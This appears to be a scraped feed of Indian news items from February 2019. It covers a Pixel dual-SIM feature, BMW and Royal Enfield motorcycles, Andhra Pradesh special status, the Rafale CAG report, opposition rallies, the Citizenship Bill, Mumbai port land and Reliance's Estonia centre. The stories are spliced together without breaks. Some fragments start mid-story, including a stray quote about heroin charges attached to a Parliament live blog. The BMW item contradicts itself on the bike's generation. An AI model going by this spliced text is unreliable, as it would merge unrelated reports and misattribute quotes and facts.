On the Pixel 4, Google could offer two SIM slots on one tray which would require software tweaks, or it could just provide an eSIM that can be connected to different networks through software, along with the physical tray. Google already has this setup in the Pixel 2 and 3. If the DSDS or DSDA feature is released on the Pixel 4, Google could possibly roll out the feature on the compatible older generation phones as well.

The DSDS feature is supported on the latest iPhones as well as many other dual SIM Android smartphones. The feature is handy for people who travel where they can use the primary SIM in the phone whereas the secondary eSIM can be installed to a local network through software. While there is no confirmation, the presence of this code could be a hint that the Pixel smartphones would have this feature.BMW S 1000 RR | The second generation BMW S 1000 RR does away with its unique asymmetrical design and sheds close to 14.5 kg of weight. The bike also gets a new inline-four engine which produces 207 PS of power and 100 Nm of peak torque. (Image source: BMW)

Months after BMW Motorrad unveiled the third generation of their flagship S1000RR at EICMA in November last year, the company teased its release in India with a tweet.

Thanks to the "M Performance" package, the bike is loaded with features such as carbon fibre wheels, a lightweight battery pack and rear ride height adjustment, among others. As compared to its first generation launched a decade ago, the 2019 S1000RR makes eight more BHPs, bringing up the total to 207BHP. That, combined with its reduced weight of 197 kg from the original 208 kg, gives the bike a better power-to-weight ratio.



Answer the call of the road. Get your riding gear ready for a thrill unlike any youve experienced before. The all-new BMW Motorrad #S1000RR is on its way to India. Stay tuned. #MakeLifeARide #BMWMotorradIndia pic.twitter.com/6IIgWMIstF

 BMWMotorrad_IN (@BMWMotorrad_IN) February 10, 2019

The bike is mechanically updated as well and now has a 6.5 digital screen, in place of the semi-digital console earlier. The iconic alien-looking asymmetrical headlamps are also replaced with twin LED headlights and the tail lamp gets a LED makeover as well.

BMW has also endowed its latest ShiftCam technology in S1000RR's engineering, which takes the bike from standstill to a 100 kmph in three seconds. The suspension setup has also been redone completely. The bike can be ridden in four different modes Rain, Road, Dynamic and Race, which are available as standard. An optional Pro Mode is also available which further customises the riding experience.

The BMW S1000RR will be pitted against most litre-class bikes in India such as Yamaha R1, Kawasaki ZX10R and ZX10RR, Honda Fireblade and Ducati V4. It is expected to be priced around Rs 20 lakh mark (Ex-showroom).Royal Enfield to double 650 twins production as waiting period widens to 6 months

Launched in November, Royal Enfield's debut in the 650cc category with the Interceptor and Continental GT has been received encouragingly by all the markets including India, a top company official said.

Swaraj Baggonkar February 13, 2019 / 06:32 PM IST





Eicher Motors -controlled niche bike brand Royal Enfield is doubling production of the 650 twins as its waiting period has shot up to six months.

Launched in November, Royal Enfield's debut in the 650cc category with the Interceptor and Continental GT has been received encouragingly by all the markets including India, a top company official said.

Delivery numbers of the two bikes have been on the lower side at below 500 units a month. Company officials said this was because the first deliveries were for dealership display and test ride purposes.

"From the current rate of around 2,500 a month we will double production of the 650 twins to 4,500-5,000 units a month by end of March," said Siddhartha Lal, Managing Director and Chief Executive Officer, Eicher Motors.

Even before the twins were launched in India, Royal Enfield had introduced them in the US and Europe. Exports to Australia, Brazil, Thailand, Indonesia and other markets have already started, company officials said.

The gradual ramp-up in output in addition to simultaneous demand from overseas markets has pushed waiting period of the two bikes to six months. "If you were to walk into a dealership today and ask for either of the two 650s then it will be six months before you get the delivery of the bike depending on the colour and dealership chosen," added Lal.

More than 70 percent of Royal Enfield's sales come from the 350cc models dominated by the Classic range. Bigger capacity bikes have failed to register healthy numbers for Royal Enfield even forcing the company to phase out a product (Continental GT).

The company, however, believes this was due to not enough product differentiation between the 350cc and 500cc products especially in areas such as engine power. This led consumers to choose the comparatively cheaper 350cc over the 500cc variants.

"If you look at the way the 350cc and 500cc bikes of Royal Enfield were built there was not much of a difference between them. The power delivery, fit and finish were largely the same. That is why the customers did not feel the need to upgrade as it wasn't really an upgrade at all. But the 650s give the first real chance for the Royal Enfield customer to upgrade from the 350cc range," Lal added.

To keep pace with its product expansion, Royal Enfield is expanding its retail reach not just in India but also overseas. After adding 20 dealerships during the quarter ended December, Royal Enfield hopes to add another 20 dealerships during the current quarter taking the count to 900 by end of March.

Outside India, the brand has 40 standalone exclusive dealerships and more than 500 multi-brand dealerships.N Chandrababu Naidu

The Andhra Pradesh special category status debate has induced political potshots once again. The BJP-led government at the Centre and the Telegu Desam Party government at the state have launched scathing attacks at each other over the issue and there is no telling what course it will take in future, as neither of the sparring parties is close to a deal.

The genesis

The clamour for the special category status began back in 2014, after Telengana was born, and Andhra Pradesh had to part with its golden goose  Hyderabad. The state had sought the status since its revenue generation was affected and needed special benefits to attract more investment.

The Manmohan Singh government at that time conceded to the demands. Interestingly, back then there was minimal resistance to this idea and all parties took the decision positively, including the then opposition Bharatiya Janata Party.

Though the BJP had agreed on conferring the special category status to Andhra Pradesh, trouble brewed when the 14th Finance Commission decided to do away with the distinction between special and general category states since it began considering the backwardness of states to process any transfer of funds. This meant that the Centre would deal with interstate inequalities through tax devolutions and grants.

The changes introduced also saw Andhra Pradesh become one of the few beneficiaries of the revenue deficit grant, given only to states where tax devolution proved inadequate in bridging the gap.

A special package was offered to the state by the new government which included promises of setting up a railway zone, steel plant, port, and 90 percent central funding, plus industrial incentives similar to entitlements enjoyed by special category states, to name a few.

Now, though the state's Chief Minister Chandrababu Naidu accepted the offer readily at first, his stance changed gradually when the promises could not live up to the expectations, primarily because of poor execution.

Echoing the same, Prime Minister Narendra Modi recently said while addressing a public rally that: "Our government gave to Andhra Pradesh much more than what was mentioned in special status. CM of Andhra Pradesh acknowledged this package but took a U-turn as they failed to use the funds in an appropriate way and were not able to develop the state."

Naidu, however, contended that he only agreed to the deal because the BJP leaders had misled him on the special package deal.

Now that we know what was promised, lets look at what conferring a special category status would have entailed and why the incumbent minister insists on acquiring the same.

The concept of a special category state came into being in 1969 with the 5th Finance Commission aiming to provide central assistance and tax breaks to disadvantaged states.

Initially, Assam, Nagaland, and Jammu & Kashmir were granted the status. Eight other states were added in the following years (Arunachal Pradesh, Himachal Pradesh, Manipur, Meghalaya, Mizoram, Sikkim, Tripura, and Uttarakhand), with Uttarakhand being the last to be granted this status in 2010.

Here are some features any state seeking the status must have as per earlier laws :

(i) Hilly, difficult terrain

(ii) Low population density or large tribal population

(iii) Strategic location along borders with neighbouring countries

(iv) Economic, infrastructural backwardness

(v) Non-viable nature of state finances.

And, to understand why Andhra Pradesh is so intent on acquiring the status, lets look at the advantages of getting the special category status.

 Preferential treatment in government assistance and tax devolution

 Excise duty concessions, which mean more industries willing to set up manufacturing units in these states.

 Lesser budget constraints as the central transfer is high

 Debt swapping and debt relief schemes, which help in reducing the average annual rate of interest

 Thirty per cent of Centres gross budget goes to special category states

 In Centre-sponsored schemes and external aid, these states get 90 percent grants and 10 percent loans. For other states, only 70 percent central funding is received in the form of grants.Chit fund scams in West Bengal echoed in the Lok Sabha on February 13, with Left and Congress members accusing the Trinamool Congress of looting money of investors.

Members from the Trinamool Congress, which is in power in West Bengal, were protesting in the Well when the discussion on 'The Banning of Unregulated Deposit Schemes Bill, 2018' was taken up.

Participating in the discussion, Congress member Adhir Ranjan Chowdhury said the Trinamool Congress, which is in power in West Bengal, looted the people of the state. He also said that lakhs of people were looted and that their money should be returned.

CPI-M member Mohammed Salim alleged that TMC has come up due to corruption and even remarked that some members of the party in the House should go to jail. On both occasions, members from the BJP, which is engaged in a political slugfest with the TMC over Saradha scam and other issues, were seen thumping their desks.

Later, TMC members were seen shouting slogans against Salim. Some members of the TMC are under the lens for their alleged role in chit fund scams. TMC leader Saugata Roy said chief minister Mamata Banerjee took the trouble of getting arrested the main person in Saradha scam and wanted to know from the central government as what they were doing in the last five years with respect to the scam.

BJD leader B Mahtab said there should be a regulatory mechanism for the state and central governments to work against illegal deposit-taking activities.

While replying to the discussion, Finance Minister Piyush Goyal wondered what message would the school children sitting here take back amid continued slogan shouting by TMC members in the Well. School children were among those sitting in the visitor's gallery.He would like to thank the doctors, nurses and other hospital employees who took excellent care of him during his inpatient stay, and also extends his deep gratitude to all those who reached out to wish him and our family well during this time.Former Uttar Pradesh chief minister and Samajwadi Party (SP) chief Akhilesh Yadav

Proceedings of the Uttar Pradesh Assembly was adjourned on February 13 amid protests by legislators of the Samajwadi Party and the BSP over Akhilesh Yadav being stopped at the Lucknow airport on his way to Allahabad.

As soon as the House met, SP leader Narendra Verma tried to raise the issue in the Question Hour.

He was supported by BSP's legislative party leader Lalji Verma, who said, "Lathicharge was done in the entire state by police and fake cases were lodged against protestors. An MP (SP's Dharmendra Yadav) was injured in the lathicharge. There is 'hitershahi' in the state as the government is resorting to activities demeaning democracy."

Countering Verma, Parliamentary Affairs Minister Suresh Kumar Khanna said as the opposition does not have any issues, they are creating anarchy in the state.

"Our government is committed to the welfare of people and development of the state," he added.

When Speaker Hriday Narain Dixit did not allow discussion on the matter in the Question Hour, opposition members came into the Well of the House raising slogans.

Amid the chaos, the speaker adjourned the House for 30 minutes.Mamata Banerjee

Ahead of the Opposition unity rally in Delhi, the national capital saw posters with caricatures of West Bengal Chief Minister Mamata Banerjee clad in her trademark white saree with blue border, complete with satirical messages, come up.



Posters put up across Delhi. West Bengal Chief Minister Mamata Banerjee is in the national capital today to join the opposition protest here today. pic.twitter.com/s9L6IcfW20

 ANI (@ANI) February 13, 2019

Didi landed in Delhi on Tuesday to participate in the mega rally, hosted by Arvind Kejriwal; a similar one was held in Kolkata last month.

Smile Didi, you are in a democracy, read one of the hoardings put up; Welcome to Delhi, where democracy is alive and kicking read another, showing Mamata march in anger, wielding the picture of a Muslim man. The posters have been put up by an organisation called Youth for Democracy, which is clearly poking fun at Didi over the recent political developments taking shape in Bengal.

The hoardings were put up along central Delhis Jantar Mantar Road, Banga Bhawan, and area around Windsor Palace Circle to welcome the maverick Chief Minister to Mahagathbandhan2.0.

Mamata Banerjee is slated to join Delhi Chief Minister Arvind Kejrwal and Andhra Pradesh Chief Minister N Chandrababu Naidu at the sit-in at Jantar Mantar on Wednesday.

Notably, one hoarding that read "Didi, no one is going to prevent you from addressing people" is probably a jibe at the CM for not allowing senior leaders of Bharatiya Janata Party to hold election rallies in Bengal. The ruling saffron party had termed the move "undemocratic", since arranging poll rallies is a constitutional right.Opposition

In yet another show of strength against the Bharatiya Janata Party (BJP) in the run-up to the Lok Sabha elections, Opposition leaders are all set to meet at a mega rally at Jantar Mantar, New Delhi on February 13 and seek to corner the Modi government on various issues.

The rally is being organised by the Delhi Chief Minister Arvind Kejriwal-led Aam Aadmi Party (AAP), which is critical of the BJP and its leaders, including Prime Minister Narendra Modi and its chief, Amit Shah.

Who is attending?

AAP Delhi Convenor Gopal Rai told PTI that West Bengal Chief Minister Mamata Banerjee, Andhra Pradesh Chief Minister N Chandrababu Naidu, former prime minister HD Deve Gowda, National Conference (NC) leader Farooq Abdullah and Nationalist Congress Party (NCP) chief Sharad Pawar would attend the rally.

Leaders from the Samajwadi Party (SP), Dravida Munnetra Kazhagam (DMK), Rashtriya Janata Dal (RJD), Rashtriya Lok Dal (RLD) and other parties would address the mega rally, he said.

Asked if Congress president Rahul Gandhi would also attend the rally, Rai said an invite was sent to him, adding that the AAP had invited all the opposition leaders who had gathered at a mega anti-BJP rally convened by Trinamool Congress (TMC) chief Banerjee in Kolkata in January.

Sources said with months to go for the general election, the rally would serve to bring the opposition leaders together in firming up a Mahagathbandhan (Grand Alliance) to challenge the BJP and its National Democratic Alliance (NDA) partners.

There were talks of an alliance between the AAP and the Congress for the Lok Sabha polls in the national capital, but the local leadership of the latter is believed to be against it.

The AAP and the Congress have been bitter rivals in Delhi and Punjab.

(With inputs from PTI)Nitin Gadkari

Shekhar Iyer

Union minister and former Bharatiya Janata Party (BJP) President Nitin Gadkari is a serious challenger to Prime Minister Narendra Modi  thus goes a narrative that has been in the works for almost a year.

As the Lok Sabha polls are just two months away, this narrative is fuelled by many of Modis critics who bet on Gadkari emerging as the Rashtriya Swayamsevak Sanghs (RSS) choice to replace Modi  in the event of a hung Parliament.

Perhaps, driving this narrative is Gadkari's recent comments that may have led many Congress leaders, including party President Rahul Gandhi, and even some BJP leaders to read hidden messages against the BJP or Modi.

It is true that Gadkari is a popular minister in Modis Cabinet, and his work load has grown over the last four years as Modi admires his ability to get work done in scaling up many things, in particular, infrastructure assets. Today, Gadkari holds various portfolios  road transport, highways, shipping, water resources, river development, and Ganga rejuvenation.

Countering the twists

Its true that Gadkari always loved attention and adulation that came his way. That said, backhanded compliments from Modis critics or even the Congress is hardly the one that he will cherish to pitchfork him in the race.

A blunt talker, Gadkari has over the years built the image of a no-nonsense businessman-politician. He would never talk through his hat. This could be a reason why many, including some leaders in the BJP, were asking Why is he shooting his mouth off? Was the stress of handling too many ministries and the Prime Ministers Office expecting early delivery of mega projects before the Lok Sabha polls telling upon him?

Slow to begin with, Gadkari is now countering these compliments, labelling them as twists by the media and the Opposition.

Seen as a blue-eyed boy of the RSS, a number of middle-level BJP leaders has even begun to ask whether Gadkari is voicing the Sanghs views. So, on February 7, when RSS chief Mohan Bhagwat was asked about Gadkari, he said: Gadkari does not have the scheming mindset and he is happy with his current position.

Since then, an unamused Gadkari has made it clear that he was not living in a fools paradise to fantasise about ousting Modi to become PM.

The Maharashtra angle

It was when things were dying down that Gadkaris old friend and fellow Maharashtrian, Nationalist Congress Party (NCP) leader Sharad Pawar stirred the pot. Pawar said that he was worried about Gadkari and feared for him because he was being projected as a possible alternative to Modi.

In 2014, the NCP offered to back the BJP in Maharashtra if Gadkari was made chief minister.

Its no secret that after the November 2014 assembly election victory, Gadkari wanted to become Maharashtra CM  every Maharashtra leader worth his salt would love one such stint. His supporters even rallied in Gadkaris favour.

However, much to Gadkaris disappointment, Modi and BJP chief Amit Shah chose Devendra Fadnavis, a fresh face and younger leader from Nagpur, as CM. Since then, the Shiv Sena, another of Gadkaris ally, is open about backing Gadkari, either as Maharashtra CM or Prime Minister.

Worst case scenario?

Be as it may, can a scenario emerge where Gadkari moves ahead of Modi in the months ahead? Insiders in the BJP believe that the RSS and the BJPs rank and file wont settle for anyone other than Modi. Modi still commands a heavy premium in the party and the RSS still rates Modi as the best bet.

The question of backing another BJP leader would arise only in the event of Modi deciding to opt out of reckoning. Given the current mood in the country, theres hardly room for such a speculation. Modi has again taken the burden of bringing the BJP back to power on the strength of his governments performance and, of course, his personal charisma.

As for Modi being propelled out by circumstances, some basic things would have to happen first. After the elections, the BJPs tally should be so very low that it is forced to accept the anybody but Modi demand from existing and potential allies to avoid a Congress-led or backed rule that would target Modi, the RSS and the BJP.

Also, Modi must willingly abdicate in favour of someone next to him  be it Rajnath Singh or even Gadkari. However, in the event of the BJP not having the requisite numbers to form a government and Modi taking the moral high ground to sit in the opposition benches in Parliament, no BJP leader would bypass him and try to form a government.

Nothing above the party

Gadkari may be ambitious but he is not one who would do something to oppose Modis return as PM even if the BJPs strength in the Lok Sabha falls. As some insiders point out, Gadkari may not be happy with the ways of Modi and Shah but he would certainly never do anything that harms the ultimate objectives of the BJP and the RSS.

Gadkari is not Yashwant Sinha, Shatrughan Sinha or Arun Shourie. As Gadkari has said, he cut his political teeth in his teens by pasting anti-Emergency posters in Nagpurs back-lanes. His love for his party and its ideology surpasses his ambitions.

Shekhar Iyer is former senior associate editor of Hindustan Times and political editor of Deccan Herald, Views are personal.

For more Opinion pieces, click hereFile photo of Congress president Rahul Gandhi

As the nation gets closer to the Lok Sabha elections, leaders from both the ruling and opposition parties are doing anything and everything to woo, and at times, entertain voters.

One such incident occurred when Congress President Rahul Gandhi was seen mimicking Prime Minister Narendra Modi at the newly-appointed Congress General Secretary of UP (East) Priyanka Gandhi Vadra's roadshow in Lucknow.

Though it was a roadshow aimed at unveiling Priyanka Gandhi Vadra 2.0, it was Rahul who made sure their outing was full of promise and surprises for the people.

Rahul mimicked PM Narendra Modi's hand and body gestures before the massive crowd that had gathered around the cavalcade and at their party's address on Monday.

He stood upright before the crowd and said this is how PM Narendra Modi used to stand earlier and later, with dropped shoulders he said, now Narendra Modi ji stands like this.

"Earlier, Narendra Modi ji used to speak like this with his 56-inch chest, now Narendra Modi ji speaks like this."

The video of the aforesaid comments is in the tweet below where the relevant portions start after 6 minutes 30 seconds.

The crowd cheered his mimicry along with the leaders sitting at the dais who included Raj Babbar and Jyotiraditya Scindia, along with Priyanka Gandhi Vadra.

The Congress President, posturing himself with dropped shoulders, continued his attack by mimicking as Prime Minister Narendra Modi, "Bhaiyo aur beheno, I don't know who Anil Ambani is, I never gave Anil Ambani Rs 20,000 crore. The IAF officials didn't say that I indulge in parallel negotiations..."

This is not the first time Rahul has mimicked PM Modi at a political event. He had indulged in similar behaviour at a rally in Bhopal last week.

Politicians have been drawn to histrionics in the 'campaign mode' to woo voters. In the past, Lalu Prasad Yadav mimicked PM Modi back in 2015 at a gathering and the video of that act went viral.

PM Narendra Modi, while campaigning in the run-up to the 2014 Lok Sabha elections, had also mimicked Rahul Gandhi during a rally at Chhattisgarh.Mizoram Chief Minister Lal Thanhawla

Former Mizoram Chief Minister and Congress leader Lal Thanhawla and his wife participated in a protest against The Citizenship (Amendment) Bill, 2019, at Vanapa Hall in Aizawl on February 12.

Thanhawla allegedly held a banner with the message: Hello Independent Republic of Mizoram while protesting against the Bill.

The protests in the city were organised by the NGO Coordination Committee -- the umbrella organisation of major civil society and students' bodies.

Spokesperson of Congresss Mizoram unit Lallian Chhunga said, "He was not carrying any banner and had only joined the protest. He just happened to keep his hand on a banner carried by a protester."

However, not completely dismissing the message it sent out, Chhunga added, "The message is our way of telling the government of India that if you forcibly pass the Citizenship (Amendment) Bill, there is no reason we should continue to show our loyalty to sovereign India. It is a matter of life and death."

The images of Thanhawla holding the banner had sparked a row.

The controversial Bill has seen widespread protests and opposition in the Northeast from political parties, that include allies of the ruling Bharatiya Janata Party (BJP) which was pushing the Bill.

The Bill seeks to amend the Citizenship Act, 1955 to make illegal immigrants (Hindus, Sikhs, Buddhists, Jains, Parsis and Christians from Afghanistan, Bangladesh and Pakistan) eligible for Indian citizenship.

However, the Bill now stands to lapse on June 3 as the Upper House was adjourned sine die on February 13. As it was passed by the Lok Sabha earlier, it was to lapse if not cleared by the Rajya Sabha on February 13 -- the last sitting of the 16th Lok Sabha.

The Mizoram Congress termed the Bill "draconian" and reiterated its opposition to it. "Mizoram PCC has reiterated its opposition to the draconian bill, the state PCC chief has ordered all shutters down at Mizoram Congress Bhavan and requested all Congress members to participate in the protest," tweeted the state Congress unit.

The NGO Coordination Committee leaders had also warned that the stir would be intensified if the Rajya Sabha passes the Bill.Rahul Gandhi_Congress

Congress president Rahul Gandhi on February 13 noted that the CAG report on the Rafale deal does not mention the dissent note by negotiators and said he doesn't think its worth the paper its written on.

Gandhi's dismissal of the Comptroller and Auditor General report came hours after the paper was tabled in Parliament.

The government's argument on price and faster delivery of Rafale fighter jets has been demolished, Gandhi said at a press conference.

The only reason for the new deal is to give Rs 30,000 crore to industrialist Anil Ambani, the Congress chief alleged.

The government and Ambani have rejected the Congress' allegations on the figher jet deal with France

"The argument given by the prime minister for the new Rafale deal was price and faster delivery. This has been demolished," he said, citing a note by officials.

"You say there was no scam, then why are you afraid of ordering a JPC," he said, reiterating his demand for a joint parliamentary committee to look into the deal.

The Congress attack came came a day after Gandhi accused the prime minister of "treason" and violating the Official Secrets Act by acting as Anil Ambani's "middleman" in the Rafale jet contract, citing an email to claim the businessman was aware of the deal days before India and France finalised it.

The BJP, however, rejected the charge, saying the email purportedly by an Airbus executive referred to a helicopter deal and not Rafale.

Reliance Defence, in a statement, also refuted Gandhi's allegation saying the "proposed MoU" mentioned in the email referred to its cooperation with Airbus Helicopter.BJP

Moneycontrol News

The Bharatiya Janata Party (BJP) is planning to hoist its flag atop houses of 8.5 lakh families in Himachal Pradesh which have benefited from the central and state government schemes, according to a report in The Indian Express.

The state BJP unit will approach these families under the "Mera Parivar, Bhajapa Parivar (my family, BJP family)" campaign and ask them to hoist the party flag over their houses to show support for the party in the upcoming Lok Sabha elections.

The Mera Parivar, Bhajapa Parivar campaign was launched by the BJP on February 12 by party chief Amit Shah at his residence in Gujarat. The exercise will continue till March 2. The saffron party aims to plant its flag at five crore homes of its workers and supporters across the country.

BJP Himachal Pradesh unit has planned to use it to gain support of beneficiaries of government schemes ahead of the general elections.

According to state BJP president Satpal Singh, 8.5 lakh families have benefitted from the schemes launched by the BJP government in the state and the Centre.

The party is now planning to reach out to those beneficiaries and request them for their support in the general elections to be held this year, Singh told the newspaper.

Our party has supported them through various schemes so we will ask them to support us too, and put up the party flag at their houses to show the support, he was quoted as saying.

The move was however criticised by the Opposition that said it was a shame to use government schemes run with government funding for political mileage.

It is a shame that they (the BJP) have stooped so low that they are now launching a campaign to use the government schemes that were propelled with government funding, for political mileage. This is an absolute misuse of government funds, Mukesh Agnihotri, the Leader of Opposition in the state assembly told the newspaper.Rahul Gandhi

Congress president Rahul Gandhi will kick off his party's Lok Sabha poll campaign in Gujarat on Thursday by addressing a public rally in Valsad district.

Gandhi will address the 'Jan Akrosh Rally' at Laldungri village in Valsad on Thursday afternoon, party's spokesperson Manish Doshi said.

This will be Gandhi's first visit to Gujarat after the 2017 Assembly polls in which he campaigned vigorously, travelling across the length and breadth of the state.

While the BJP returned to power in the state in 2017 by winning 99 seats in the 182-member Assembly, the Congress managed to increase its tally from 60 to 77.

To boost its cadre, the Congress is also likely to organise its working committee meet here before the Lok Sabha elections, a party source said.

The Congress had drawn a blank in the state in the 2014 Lok Sabha elections when the BJP won all 26 seats.

The opposition party had won 11 seats in the state in the 2009 Lok Sabha polls.February 13, 2019 / 08:30 PM IST

Good morning! This LIVE blog will track the latest developments from Parliament.

The government is hoping to table the Comptroller and Auditor General of Indias (CAG) report that mentions the Rafale deal.

The CAG report will be tabled a day before the end of the present Lok Sabha session. This is the last session of the 16th Lok Sabha as the general elections are due in April-May.

Meanwhile,We think we got (charged with) trespasses, but when we got back to the holding cells, we got heroin cases, Coleman said Wednesday. A few years of my life gone down the drain for nothing, cause Im outside chilling in front of a project building.Mumbai 74.4 (Image: Moneycontrol)

Anuj Puri

One can arguably say that the Mumbai Port Trust (MbPT) is currently one of the largest landowners in the otherwise land-starved financial capital of India. The trust owns nearly 1,900 acres of commercially useable prime land in south and south-central Mumbai along the sea-facing eastern coast. If put to good use, this large tract of land can help considerably solve the citys immense housing shortage.

Initially either oblivious or indifferent to its real worth, the port authorities have now realised that they sit on a veritable goldmine that can fetch massive capital. However, it is not as easy as it may appear since many are now trying to capitalise on this precious land.

Some existing lessees are refusing to vacate the leased premises  even post expiry of their lease period of 100 years  or even allow the rentals to be hiked to match the current market rates. Others are engaged in long-drawn court cases commissioned by either parties.

Either way, it is a fact that prime land in the heart of Mumbai is lying unused to its best potential, despite the industry constantly harping on the housing shortage in the citys heartland.

Complex problems

The land of MbPT, a central government facility under the Union Ministry of Shipping, is increasingly appearing on the radar of the state government or the Brihanmumbai Municipal Corporation (BMC) for affordable housing. After all, its a prime parcel of land. How far the States plans will be implemented even if they do get a share of the land is another big question.

Nevertheless, in 2018, seeing the commercial viability of the land, the port trust refused to relinquish a portion of its precious land on the eastern waterfront to the BMC. Instead, it planned to turn the land into a commercial development with a sea terminal, water tourism, central business and finance districts, hotels, business offices etc  leaving a mere 10-11% of land for affordable housing.

Paradoxically, if we consider the rejuvenation/development of port cities in developed countries such as the United States and the United Kingdom, a major emphasis has been given to affordable housing.

The authorities refusal to give away land for affordable housing also flies in the face of their assurances to the BMC during the formulation of the Mumbai Development Plan 2034. The result is that just like the earlier mill lands being converted into prime residential and commercial hubs for the limited few, the port land will also see a similar fate  if and when the problems surrounding it are resolved.

To compound matters, the MbPT does not have a concrete plan to execute its development propaganda. In addition to that, the implementation itself would pose a major challenge.

Besides, the issue is far more complex than is immediately evident. The tenants who are refusing to vacate pose a serious challenge. Both parties are embroiled in innumerable court cases that will take years to be sorted out. As an added inconvenience, the Indian Tenancy Act is largely skewed in favour of tenants.

Even if the port wins most of the cases in its favour, the real challenge for implementation of its development will be funding.

As it is, the prevailing funding crisis in the realty sector has left builders and other real estate stakeholders in dire straits. If we take the case of Dharavi, in Mumbai, it is evident that despite all good intentions, the current cash crunch with developers has prevented even the big boys from stepping forward and take up the challenge of building this mega project, which requires massive funds.

No visible solution

It would be difficult to suggest any single concrete solution to the tremendous challenge that the MbPT faces. The blame-game between all parties concerned will only ruin the realty prospects of land which could have otherwise been utilised to rejuvenate a city that needs serious affordable housing infusion.

The recent relaxation in the Coastal Regulation Zone (CRZ) Notification, 2018, which permits real estate activities up to 50 meters of the high tide line provides a respite to the MbPT. This essentially means that a lot of their land within the CRZ wherein no real estate activity was permitted has opened up.

On one hand, there are tenants irked by the port authorities, and on the other authorities that claim they are being deprived of their right to land ownership.

However, taking a few steps back, one can only say that for Mumbai to reap the real benefits, there has to be an all-inclusive plan wherein all real estate stakeholders get to some share of the benefits.

Anuj Puri is chairman, ANAROCK Property Consultants. Views are personal

For more Opinion pieces, click hereParliament

The Rafale aircraft deal signed by the Centre in 2016 was 2.8 percent cheaper than the deal negotiated by the United Progressive Alliance (UPA) government, according to a Comptroller and Auditor General of India (CAG) report.

The CAG report titled Capital Acquisition in Indian Air Force was tabled in the Rajya Sabha on February 13.

Defence Minister Nirmala Sitharaman had in September 2018 said that the National Democratic Alliance (NDA) government was getting the Rafale fighter jets at a rate 9 percent cheaper than what the UPA had agreed upon.

The report suggests that India managed to save 17.08 percent money for the India Specific Enhancements in the 36 Rafale aircraft contract, as compared to the 126 aircraft deal proposed earlier, media reports suggest.

According to media reports, the delivery schedule of the first 18 Rafale aircraft is better than what was proposed in the 126 aircraft deal, by five months.

Reacting to the development, Union Minister Arun Jaitley has said in a series of tweets: Satyameva Jayate  the truth shall prevail. The CAG Report on Rafale reaffirms the dictum. 2016 vs. 2007 terms  Lower price, faster delivery, better maintenance, lower escalation.

It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. How does democracy punish those who consistently lied to the nation? The lies of Mahajhootbandhan stand exposed by the CAG Report, Jaitley added.

Members of Parliament (MPs) belonging to the Congress, Trinamool Congress and the Telugu Desam Party (TDP) were protesting outside Parliament. Alleging conflict of interest, the Congress had on February 10 requested CAG Rajiv Mehrishi to recuse himself from auditing the Rafale deal as he, as the then Finance Secretary, was part of the negotiations. Congress also said that it would be improper on the part of Mehrishi to present the report in Parliament.

(This is a developing story. More details are awaited.)Parliament

The Citizenship (Amendment) Bill, 2019 and The Muslim Women (Protection of Rights on Marriage) Bill, 2018 will lapse if not passed by the Rajya Sabha on February 13 -- the last day of the Budget Session.

February 13 will also be the last sitting of the 16th Lok Sabha as it will be dissolved ahead of general elections expected to happen in April-May.

Unlike the Winter Session, when the sittings of the Rajya Sabha were extended by two days to push the Economically Weaker Sections (EWS) quota bill, the government has not shown any indication of a possible extension this time.

Neither the Citizenship (Amendment) Bill, nor The Muslim Women (Protection of Rights on Marriage) Bill  commonly known as the triple talaq bill  were taken up for consideration on February 12. In fact, the House was adjourned early due to protest by members.

Both bills were passed by the Lok Sabha earlier. However, they stand to lapse if not passed by the Rajya Sabha.

The legislative procedure states that a Bill pending in the Rajya Sabha which has not been passed by the Lok Sabha does not lapse on dissolution of the Lok Sabha. However, a Bill which is passed by the Lok Sabha and is pending in the Rajya Sabha lapses upon the dissolution of the Lok Sabha.

This would mean that the two bills would have to be reintroduced, if they were to be considered for passing, after the 17th Lok Sabha convenes after the general election.

The government and the Opposition have come close to blows both inside and outside Parliament over the bills.

The ruling Bharatiya Janata Party (BJP) has been pushing for The Citizenship (Amendment) Bill, which seeks to amend the Citizenship Act, 1955 to make illegal immigrants (Hindus, Sikhs, Buddhists, Jains, Parsis and Christians from Afghanistan, Bangladesh and Pakistan) eligible for Indian citizenship.

This has faced widespread protests and resistance from Opposition parties and regional groups, mainly in the Northeast.

The chief ministers of two Northeast states Arunachal Pradesh's Pema Khandu and Manipur's N Biren Singh  both belonging to the BJP  had on February 11 voiced their opposition to the contentious Bill and urged Home Minister Rajnath Singh to ensure it was not passed in Rajya Sabha.

Also read: EXPLAINER | Citizenship (Amendment) Bills key question: Why are some illegal immigrants more equal than others?

The BJP lacks numbers in the Rajya Sabha. As a result, it has not been able to push the bills through. Opposition parties had blocked the passage of the two bills in the Winter Session too.

Further, two of BJPs key allies Janata Dal (United) and the Shiv Sena have openly said that they would oppose the bill in the Upper House.

A bill seeking to protect gullible investors from ponzi schemes was introduced in Lok Sabha on February 12 by Finance Minister Piyush Goyal. The House will take up the Banning of Unregulated Deposit Schemes Bill for discussion and passage on February 13.

A report by the Comptroller and Auditor General of India (CAG) on the Indian Air Force (IAF), which is expected to mention the Rafale fighter jet deal is also likely to be tabled in Parliament on February 13.

Alleging conflict of interest, the Congress had on February 10 requested CAG Rajiv Mehrishi to recuse himself from auditing the Rafale deal as he, as the then Finance Secretary, was part of the negotiations. Congress also said that it would be improper on the part of Mehrishi to present the report in Parliament.live bse live

nse live Volume Todays L/H More 

Reliance Industries has set up a research centre in Estonia to understand the digital society in the Baltic nation.

The centre comes after Reliance Industries chairman and managing director Mukesh Ambani became an e-resident of Estonia, along with other Indians including Union IT minister Ravi Shankar Prasad.

"Reliance Industries has set up a research centre for Jio in Estonia. The research centre aims at understanding the digital Estonian society and the benefit it can offer to India and Indians," an official statement from Estonia's e-residency programme said Wednesday.

The centre is headed by Taavi Kotka, the former chief information officer of Estonia and also one of the founders of e-residency programme, it added.

It can be noted that Estonia is one of the most digitally connected societies in the world, wherein almost the entire citizen-government interface takes place in the virtual world, including aspects like insurance renewals, and buying drugs for personal use, among others.

The Estonians, who number just about 1.32 million, have a single identity that's used to avail of services across the board. Experts say Aadhaar can technically help replicate the same success here.

The statement said Ambani has always been appreciative of the advancements made by Estonia in the e-governance space.

It can be noted that recently, Ambani made a strong pitch for data localisation as well after announcing RIL's plans to enter e-commerce through a hybrid model which will use merchants on the ground.

Estonia is the first country in the world to offer e- residency, through which foreign nationals establish a virtual identity that can offers trade and business access across the European Union, of which Estonia is a part.

